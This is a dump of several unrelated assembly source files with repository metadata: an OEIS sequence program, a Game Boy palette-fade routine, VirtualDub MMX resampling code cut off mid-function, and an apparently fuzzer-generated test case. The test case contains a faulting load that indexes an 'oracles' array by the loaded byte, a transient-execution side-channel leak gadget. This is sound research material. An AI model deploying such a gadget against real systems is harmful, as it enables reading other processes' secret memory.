99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/202/A202199.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A202199: Number of (n+2) X 7 binary arrays avoiding patterns 001 and 101 in rows and columns. ; 1176,4704,14700,38808,90552,192192,378378,700700,1233232,2079168,3378648,5317872,8139600,12155136,17757894,25438644,35802536,49588000,67687620,91171080,121310280,159606720,207821250,268006284,342540576 add $0,8 mov $1,$0 bin $0,6 sub $1,5 mul $1,$0 mul $1,14
35.8
203
0.782123
912579b752ebaa82beb4d90e851b1e45da4add46
4,770
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1683.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1683.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1683.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %rax push %rcx push %rdi push %rsi lea addresses_UC_ht+0x11b98, %rsi lea addresses_D_ht+0x8744, %rdi nop and $62284, %r12 mov $46, %rcx rep movsl nop sub %rax, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %rax push %rbp push %rbx // Store lea addresses_normal+0xec78, %rbp xor %r11, %r11 movb $0x51, (%rbp) nop nop nop nop nop and %rax, %rax // Load lea addresses_normal+0x2b98, %rbx clflush (%rbx) dec %rbp mov (%rbx), %r8w xor %r8, %r8 // Store lea addresses_US+0x1176a, %r14 nop nop nop nop xor $62279, %rax movb $0x51, (%r14) nop nop nop dec %r8 // Faulty Load lea addresses_PSE+0xc398, %r11 nop nop inc %r12 mov (%r11), %r8d lea oracles, %rbp and $0xff, %r8 shlq $12, %r8 mov (%rbp,%r8,1), %r8 pop %rbx pop %rbp pop %rax pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
49.175258
2,999
0.657652
3db0fd27693bb504fa510fac446b42af3db7beb7
3,945
asm
Assembly
src/palettes.asm
ISSOtm/gb-open-world
b0b5b838e2a98e536e440632c95472ea057111c5
[ "MIT" ]
8
2021-03-14T21:48:19.000Z
2021-11-16T11:05:16.000Z
src/palettes.asm
ISSOtm/gb-open-world
b0b5b838e2a98e536e440632c95472ea057111c5
[ "MIT" ]
null
null
null
src/palettes.asm
ISSOtm/gb-open-world
b0b5b838e2a98e536e440632c95472ea057111c5
[ "MIT" ]
null
null
null
INCLUDE "defines.asm" SECTION "Palette buffer fading", ROM0 ; Applies fade to both palette buffers ; FadePaletteBuffers:: ld hl, wFadeSteps dec [hl] inc hl assert wFadeSteps + 1 == wFadeDelta ld a, [hli] ld e, a assert wFadeDelta + 1 == wFadeAmount add a, [hl] jr z, .clamp ; 0 is an illegal value ld d, a rra ; Get carry into bit 7 xor e ; Expect bit 7 of offset to match carry add a, a ld a, d jr nc, .noOverflow .clamp ; If we got an overflow, clamp depending on bit 7 of offset ; If the offset is positive, clamp at $FF; otherwise, at 1 sla e ; Bit 7 (sign) into carry sbc a, a ; 0 or $FF and 2 ; 0 or 2 dec a ; $FF or 1 .noOverflow ld [hli], a assert wFadeAmount + 1 == wBGPaletteMask add a, a ; Test sign bit ld c, LOW(rBCPS) jr nc, .fadeToBlack ld d, a ; ld a, [hConsoleType] ; and a ; jr nz, FadeDMGToWhite .fadeBufferToWhite ld a, $80 ldh [c], a inc c ld a, [hli] ; Read palette mask scf adc a, a .fadePaletteToWhite ldh [hPaletteMask], a jr nc, .noWhiteFade ld b, 4 ld a, c cp LOW(rOCPD) jr nz, .fadeColorToWhite dec b ; Do two dummy writes to advance index ; The index is increased even if the writes fail ldh [c], a ldh [c], a .fadeColorToWhite ld a, [hli] ; Read green add a, d jr nc, .notFullGreen sbc a, a ; ld a, $FF .notFullGreen rlca rlca ld e, a wait_vram ld a, [hli] ; Read red add a, d jr nc, .notFullRed sbc a, a ; ld a, $FF .notFullRed rra rra rra xor e and $1F xor e ldh [c], a wait_vram ld a, [hli] ; Read blue add a, d jr nc, .notFullBlue sbc a, a ; ld a, $FF .notFullBlue rra xor e and $FC ; $7C works just as well, but $FC gets bit 7 always cleared xor e ldh [c], a dec b jr nz, .fadeColorToWhite .fadedPaletteWhite ldh a, [hPaletteMask] add a, a jr nz, .fadePaletteToWhite inc c ld a, c cp LOW(rOCPS) jr z, .fadeBufferToWhite ret .noWhiteFade dec c ldh a, [c] add a, 4 * 2 ldh [c], a inc c ld a, l add a, 4 * 3 ld l, a adc a, h sub l ld h, a jr .fadedPaletteWhite .fadeToBlack cpl inc a ld d, a ; ldh a, [hConsoleType] ; and a ; jr nz, .fadeDMGToBlack .fadeBufferToBlack ld a, $80 ldh [c], a inc c ld a, [hli] ; Read palette mask scf adc a, a .fadePaletteToBlack ldh [hPaletteMask], a jr nc, .noBlackFade ld b, 4 ; OBJ palettes only have 3 colors ld a, c cp LOW(rOCPD) jr nz, .fadeColorToBlack dec b ; Do two dummy writes to advance index ; The index is increased even if the writes fail ldh [c], a ldh [c], a .fadeColorToBlack ld a, [hli] ; Read green sub d jr nc, .stillSomeGreen xor a .stillSomeGreen rlca rlca ld e, a wait_vram ld a, [hli] ; Read red sub d jr nc, .stillSomeRed xor a .stillSomeRed rra rra rra xor e and $1F xor e ldh [c], a wait_vram ld a, [hli] ; Read blue sub d jr nc, .stillSomeBlue xor a .stillSomeBlue rra xor e and $FC ; $7C works just as well, but $FC gets bit 7 always cleared xor e ldh [c], a dec b jr nz, .fadeColorToBlack .fadedPaletteBlack ldh a, [hPaletteMask] add a, a jr nz, .fadePaletteToBlack inc c ld a, c cp LOW(rOCPS) jr z, .fadeBufferToBlack ret .noBlackFade dec c ldh a, [c] add a, 4 * 2 ldh [c], a inc c ld a, l add a, 4 * 3 ld l, a adc a, h sub l ld h, a jr .fadedPaletteBlack SECTION UNION "Scratch buffer", HRAM hPaletteMask: db SECTION "Fade state memory", WRAM0,ALIGN[9] ; Ensure that palette bufs don't cross pages wFadeSteps:: db ; Number of fade steps to take wFadeDelta:: db ; Value to add to wFadeAmount on each step ; 00 = bugged equivalent of 80, do not use ; 01-7F = 01 is fully black, 7F is barely faded ; 80 = not faded ; 81-FF = FF is fully white, 81 is barely faded wFadeAmount:: db wBGPaletteMask:: db ; Mask of which palettes to fade (01234567) wBGPaletteBuffer:: ; 24-bit GRB, in this order ds 8 * 4 * 3 ; 8 palettes, 4 colors, 3 bytes .end:: wOBJPaletteMask:: db wOBJPaletteBuffer:: ; Same as above ds 8 * 3 * 3 ; Same, but only 3 colors .end::
17.077922
88
0.662357
912c655abd05009d20c22fd604d2bf65196b4363
32,500
asm
Assembly
xy-VSFilter/src/thirdparty/VirtualDub/Kasumi/source/a_resample_mmx.asm
wurui1994/AviSynth
d318f4b455c49a8864c30b3cce84925ebb16c002
[ "MIT" ]
1
2018-09-27T09:37:42.000Z
2018-09-27T09:37:42.000Z
xy-VSFilter/src/thirdparty/VirtualDub/Kasumi/source/a_resample_mmx.asm
wurui1994/AviSynth
d318f4b455c49a8864c30b3cce84925ebb16c002
[ "MIT" ]
null
null
null
xy-VSFilter/src/thirdparty/VirtualDub/Kasumi/source/a_resample_mmx.asm
wurui1994/AviSynth
d318f4b455c49a8864c30b3cce84925ebb16c002
[ "MIT" ]
null
null
null
; VirtualDub - Video processing and capture application ; Graphics support library ; Copyright (C) 1998-2004 Avery Lee ; ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation; either version 2 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with this program; if not, write to the Free Software ; Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. ; section .rdata, rdata, align=16 x0002000200020002 dq 0002000200020002h x0004000400040004 dq 0004000400040004h x0008000800080008 dq 0008000800080008h x0000200000002000 dq 0000200000002000h align 16 MMX_roundval dq 0000200000002000h, 0000200000002000h ;************************************************************************** x0000FFFF0000FFFF dq 0000FFFF0000FFFFh x0000010100000101 dq 0000010100000101h x0100010001000100 dq 0100010001000100h section .text ;-------------------------------------------------------------------------- ;_vdasm_resize_interp_row_run_MMX( ; [esp+ 4] void *dst, ; [esp+ 8] void *src, ; [esp+12] ulong width, ; [esp+16] __int64 xaccum, ; [esp+24] __int64 x_inc); ; global _vdasm_resize_interp_row_run_MMX _vdasm_resize_interp_row_run_MMX: push ebp push edi push esi push ebx mov esi, [esp+8+16] mov edi, [esp+4+16] mov ebp, [esp+12+16] movd mm4, dword [esp+16+16] pxor mm7, mm7 movd mm6, dword [esp+24+16] punpckldq mm4, mm4 punpckldq mm6, mm6 shr esi, 2 mov eax, [esp+16+16] mov ebx, [esp+20+16] add esi, ebx mov ebx, [esp+24+16] mov ecx, [esp+28+16] shl ebp,2 add edi,ebp neg ebp .colloop: movd mm1, dword [esi*4+4] movq mm5, mm4 movd mm0, dword [esi*4] punpcklbw mm1, mm7 punpcklbw mm0, mm7 psrld mm5, 24 movq mm3, [x0100010001000100] packssdw mm5, mm5 pmullw mm1, mm5 psubw mm3, mm5 pmullw mm0, mm3 paddd mm4, mm6 ;stall ;stall ;stall ;stall paddw mm0, mm1 psrlw mm0, 8 add eax, ebx adc esi, ecx packuswb mm0, mm0 movd dword [edi+ebp],mm0 add ebp, 4 jnz .colloop pop ebx pop esi pop edi pop ebp ret ;************************************************************************** ;vdasm_resize_interp_col_run_MMX( ; [esp+ 4] void *dst, ; [esp+ 8] void *src1, ; [esp+12] void *src2, ; [esp+16] ulong width, ; [esp+20] ulong yaccum); global _vdasm_resize_interp_col_run_MMX _vdasm_resize_interp_col_run_MMX: push ebp push edi push esi push ebx mov esi, [esp+8+16] mov edx, [esp+12+16] mov edi, [esp+4+16] mov ebp, [esp+16+16] movd mm4, dword [esp+20+16] pxor mm7, mm7 punpcklwd mm4, mm4 punpckldq mm4, mm4 psrlw mm4, 8 pxor mm4, [x0000FFFF0000FFFF] paddw mm4, [x0000010100000101] shl ebp, 2 add edi, ebp add esi, ebp add edx, ebp neg ebp .colloop: movd mm0, dword [esi+ebp] movd mm2, dword [edx+ebp] punpcklbw mm0, mm7 punpcklbw mm2, mm7 movq mm1, mm0 punpcklwd mm0, mm2 punpckhwd mm1, mm2 pmaddwd mm0, mm4 pmaddwd mm1, mm4 psrad mm0, 8 psrad mm1, 8 packssdw mm0, mm1 packuswb mm0, mm0 movd dword [edi+ebp],mm0 add ebp, 4 jnz .colloop pop ebx pop esi pop edi pop ebp ret ;-------------------------------------------------------------------------- ;vdasm_resize_ccint_row_MMX(dst, src, count, xaccum, xinc, tbl); global _vdasm_resize_ccint_row_MMX _vdasm_resize_ccint_row_MMX: push ebx push esi push edi push ebp mov ebx, [esp+4+16] ;ebx = dest addr mov ecx, [esp+12+16] ;ecx = count mov ebp, [esp+20+16] ;ebp = increment mov edi, ebp ;edi = increment shl ebp, 16 ;ebp = fractional increment mov esi, [esp+16+16] ;esi = 16:16 position sar edi, 16 ;edi = integer increment mov [esp+20+16], ebp ;xinc = fractional increment mov ebp, esi ;ebp = 16:16 position shr esi, 16 ;esi = integer position shl ebp, 16 ;ebp = fraction mov [esp+16+16], ebp ;xaccum = fraction mov eax, [esp+8+16] shr ebp, 24 ;ebp = fraction (0...255) mov [esp+8+16], edi shl ebp, 4 ;ebp = fraction*16 mov edi, ebp mov ebp, [esp+4+16] ;ebp = destination shr eax, 2 add eax, esi shl ecx, 2 ;ecx = count*4 lea ebp, [ebp+ecx-4] neg ecx ;ecx = -count*4 movq mm6, [x0000200000002000] pxor mm7, mm7 mov edx,[esp+16+16] ;edx = fractional accumulator mov esi,[esp+20+16] ;esi = fractional increment mov ebx,[esp+24+16] ;ebx = coefficient pointer movd mm0,dword [eax*4] movd mm1,dword [eax*4+4] punpcklbw mm0,mm7 ;mm0 = [a1][r1][g1][b1] ;borrow stack pointer push 0 ;don't crash push dword [fs:0] mov dword [fs:0], esp mov esp, [esp+8+24] ;esp = integer increment jmp short ccint_loop_MMX_start ;EAX source pointer / 4 ;EBX coefficient pointer ;ECX count ;EDX fractional accumulator ;ESI fractional increment ;EDI coefficient offset ;ESP integer increment ;EBP destination pointer align 16 ccint_loop_MMX: movd mm0,dword [eax*4] packuswb mm2,mm2 ;mm0 = [a][r][g][b][a][r][g][b] movd mm1,dword [eax*4+4] punpcklbw mm0,mm7 ;mm0 = [a1][r1][g1][b1] movd dword [ebp+ecx],mm2 ccint_loop_MMX_start: movq mm4,mm0 ;mm0 = [a1][r1][g1][b1] movd mm2,dword [eax*4+8] punpcklbw mm1,mm7 ;mm1 = [a2][r2][g2][b2] movd mm3,dword [eax*4+12] punpcklbw mm2,mm7 ;mm2 = [a3][r3][g3][b3] punpcklbw mm3,mm7 ;mm3 = [a4][r4][g4][b4] movq mm5,mm2 ;mm2 = [a3][r3][g3][b3] add edx,esi ;add fractional increment punpcklwd mm0,mm1 ;mm0 = [g2][g1][b2][b1] pmaddwd mm0,[ebx+edi] punpcklwd mm2,mm3 ;mm2 = [g4][g3][b4][b3] pmaddwd mm2,[ebx+edi+8] punpckhwd mm4,mm1 ;mm4 = [a2][a1][r2][r1] pmaddwd mm4,[ebx+edi] punpckhwd mm5,mm3 ;mm5 = [a4][a3][b4][b3] pmaddwd mm5,[ebx+edi+8] paddd mm0,mm6 adc eax,esp ;add integer increment and fractional bump to offset mov edi,0ff000000h paddd mm2,mm0 ;mm0 = [ g ][ b ] paddd mm4,mm6 psrad mm2,14 paddd mm4,mm5 ;mm4 = [ a ][ r ] and edi,edx psrad mm4,14 shr edi,20 ;edi = fraction (0...255)*16 add ecx,4 packssdw mm2,mm4 ;mm0 = [ a ][ r ][ g ][ b ] jnc ccint_loop_MMX packuswb mm2,mm2 ;mm0 = [a][r][g][b][a][r][g][b] movd dword [ebp],mm2 mov esp, dword [fs:0] pop dword [fs:0] pop eax pop ebp pop edi pop esi pop ebx ret ;-------------------------------------------------------------------------- ;vdasm_resize_ccint_col_MMX(dst, src1, src2, src3, src4, count, tbl); global _vdasm_resize_ccint_col_MMX _vdasm_resize_ccint_col_MMX: push ebx push esi push edi push ebp mov ebp, [esp+4+16] ;ebp = dest addr mov esi, [esp+24+16] ;esi = count add esi, esi add esi, esi mov eax, [esp+8+16] ;eax = row 1 mov ebx, [esp+12+16] ;ebx = row 2 mov ecx, [esp+16+16] ;ecx = row 3 mov edx, [esp+20+16] ;edx = row 4 mov edi, [esp+28+16] ;edi = coefficient ptr add eax, esi add ebx, esi add ecx, esi add edx, esi add ebp, esi neg esi movq mm4,[edi] movq mm5,[edi+8] movq mm6,[x0000200000002000] pxor mm7,mm7 movd mm2,dword [eax+esi] movd mm1,dword [ebx+esi] ;mm1 = pixel1 punpcklbw mm2,mm7 jmp short ccint_col_loop_MMX.entry align 16 ccint_col_loop_MMX: movd mm2,dword [eax+esi] ;mm2 = pixel0 packuswb mm0,mm0 movd mm1,dword [ebx+esi] ;mm1 = pixel1 pxor mm7,mm7 movd dword [ebp+esi-4],mm0 punpcklbw mm2,mm7 ccint_col_loop_MMX.entry: punpcklbw mm1,mm7 movq mm0,mm2 movd mm3,dword [edx+esi] ;mm3 = pixel3 punpcklwd mm0,mm1 ;mm0 = [g1][g0][b1][b0] pmaddwd mm0,mm4 punpckhwd mm2,mm1 ;mm2 = [a1][a0][r1][r0] movd mm1,dword [ecx+esi] ;mm1 = pixel2 punpcklbw mm3,mm7 pmaddwd mm2,mm4 punpcklbw mm1,mm7 movq mm7,mm1 punpcklwd mm1,mm3 ;mm1 = [g3][g2][b3][b2] punpckhwd mm7,mm3 ;mm7 = [a3][a2][r3][r2] pmaddwd mm1,mm5 pmaddwd mm7,mm5 paddd mm0,mm6 paddd mm2,mm6 paddd mm0,mm1 paddd mm2,mm7 psrad mm0,14 psrad mm2,14 add esi,4 packssdw mm0,mm2 jne ccint_col_loop_MMX packuswb mm0,mm0 movd dword [ebp-4],mm0 pop ebp pop edi pop esi pop ebx ret ;-------------------------------------------------------------------------- ;vdasm_resize_ccint_col_SSE2(dst, src1, src2, src3, src4, count, tbl); global _vdasm_resize_ccint_col_SSE2 _vdasm_resize_ccint_col_SSE2: push ebx push esi push edi push ebp mov ebp,[esp + 4 + 16] ;ebp = dest addr mov esi,[esp + 24 + 16] ;esi = count add esi,esi add esi,esi mov eax,[esp + 8 + 16] ;eax = row 1 mov ebx,[esp + 12 + 16] ;ebx = row 2 mov ecx,[esp + 16 + 16] ;ecx = row 3 mov edx,[esp + 20 + 16] ;edx = row 4 mov edi,[esp + 28 + 16] ;edi = coefficient ptr neg esi add esi,4 jz ccint_col_SSE2_odd movq xmm4,qword [edi] movq xmm5,qword [edi+8] punpcklqdq xmm4,xmm4 punpcklqdq xmm5,xmm5 movq xmm6,[x0000200000002000] punpcklqdq xmm6,xmm6 pxor xmm7,xmm7 ; jmp short ccint_col_loop_SSE2.entry ; align 16 ccint_col_loop_SSE2: movq xmm0, qword [eax] add eax, 8 movq xmm1, qword [ebx] add ebx, 8 movq xmm2, qword [ecx] add ecx, 8 movq xmm3, qword [edx] add edx, 8 punpcklbw xmm0,xmm1 punpcklbw xmm2,xmm3 movdqa xmm1,xmm0 movdqa xmm3,xmm2 punpcklbw xmm0,xmm7 punpckhbw xmm1,xmm7 punpcklbw xmm2,xmm7 punpckhbw xmm3,xmm7 pmaddwd xmm0,xmm4 pmaddwd xmm1,xmm4 pmaddwd xmm2,xmm5 pmaddwd xmm3,xmm5 paddd xmm0,xmm6 paddd xmm1,xmm6 paddd xmm0,xmm2 paddd xmm1,xmm3 psrad xmm0,14 psrad xmm1,14 packssdw xmm0,xmm1 packuswb xmm0,xmm0 movdq2q mm0,xmm0 movntq [ebp],mm0 add ebp,8 add esi,8 jnc ccint_col_loop_SSE2 jnz ccint_col_SSE2_noodd ccint_col_SSE2_odd: movd mm0, dword [eax] pxor mm7,mm7 movd mm1, dword [ebx] movdq2q mm4,xmm4 movd mm2, dword [ecx] movdq2q mm5,xmm5 movd mm3, dword [edx] movdq2q mm6,xmm6 punpcklbw mm0,mm1 punpcklbw mm2,mm3 movq mm1,mm0 movq mm3,mm2 punpcklbw mm0,mm7 punpckhbw mm1,mm7 punpcklbw mm2,mm7 punpckhbw mm3,mm7 pmaddwd mm0,mm4 pmaddwd mm1,mm4 pmaddwd mm2,mm5 pmaddwd mm3,mm5 paddd mm0,mm6 paddd mm2,mm6 paddd mm0,mm2 paddd mm1,mm3 psrad mm0,14 psrad mm1,14 packssdw mm0,mm1 packuswb mm0,mm0 movd eax,mm0 movnti [ebp],eax ccint_col_SSE2_noodd: pop ebp pop edi pop esi pop ebx ret ;------------------------------------------------------------------------- ; ; long resize_table_row_MMX(Pixel *out, Pixel *in, int *filter, int filter_width, PixDim w, long accum, long frac); .code global _vdasm_resize_table_row_MMX _vdasm_resize_table_row_MMX: push ebp push esi push edi push ebx cmp dword [esp+16+16], 4 jz .accel_4coeff cmp dword [esp+16+16], 6 jz .accel_6coeff cmp dword [esp+16+16], 8 jz .accel_8coeff mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] mov esi,eax mov edx,eax pxor mm5,mm5 mov ecx,[esp + 16 + 16] shr ecx,1 mov [esp+16+16],ecx test ecx,1 jnz .pixelloop_odd_pairs .pixelloop_even_pairs: shr esi,14 and edx,0000ff00h and esi,byte -4 mov ecx,[esp + 16 + 16] shr edx,5 add esi,ebx imul edx,ecx add eax,[esp + 28 + 16] add edx,[esp + 12 + 16] movq mm6,[MMX_roundval] pxor mm3,mm3 movq mm7,mm6 pxor mm2,mm2 .coeffloop_unaligned_even_pairs: movd mm0,dword [esi+0] paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) punpcklbw mm0,[esi+4] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) movd mm2,dword [esi+8] movq mm1,mm0 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm7,mm0 ;accumulate alpha/red (pixels 0/1) paddd mm6,mm1 ;accumulate green/blue (pixels 0/1) add edx,16 add esi,16 sub ecx,2 jne .coeffloop_unaligned_even_pairs paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) psrad mm7,14 psrad mm6,14 packssdw mm6,mm7 add edi,4 packuswb mm6,mm6 sub ebp,1 mov esi,eax mov edx,eax movd dword [edi-4],mm6 jne .pixelloop_even_pairs pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .pixelloop_odd_pairs: shr esi,14 and edx,0000ff00h and esi,byte -4 mov ecx,[esp + 16 + 16] shr edx,5 add esi,ebx imul edx,ecx add eax,[esp + 28 + 16] sub ecx,1 add edx,[esp + 12 + 16] movq mm6,[MMX_roundval] pxor mm3,mm3 pxor mm2,mm2 movq mm7,mm6 .coeffloop_unaligned_odd_pairs: movd mm0,dword [esi+0] paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) punpcklbw mm0,[esi+4] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) movd mm2,dword [esi+8] movq mm1,mm0 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm7,mm0 ;accumulate alpha/red (pixels 0/1) paddd mm6,mm1 ;accumulate green/blue (pixels 0/1) add edx,16 add esi,16 sub ecx,2 jne .coeffloop_unaligned_odd_pairs paddd mm7,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm6,mm3 ;accumulate green/blue (pixels 2/3) ;finish up odd pair movd mm0,dword [esi] ;mm0 = [x1][r1][g1][b1] punpcklbw mm0,[esi+4] ;mm2 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g0][g1][b0][b1] punpckhbw mm1,mm5 ;mm1 = [x0][x1][r0][r1] pmaddwd mm0,[edx] pmaddwd mm1,[edx] paddd mm6,mm0 paddd mm7,mm1 ;combine into pixel psrad mm6,14 psrad mm7,14 packssdw mm6,mm7 add edi,4 packuswb mm6,mm6 sub ebp,1 mov esi,eax mov edx,eax movd dword [edi-4],mm6 jne .pixelloop_odd_pairs pop ebx pop 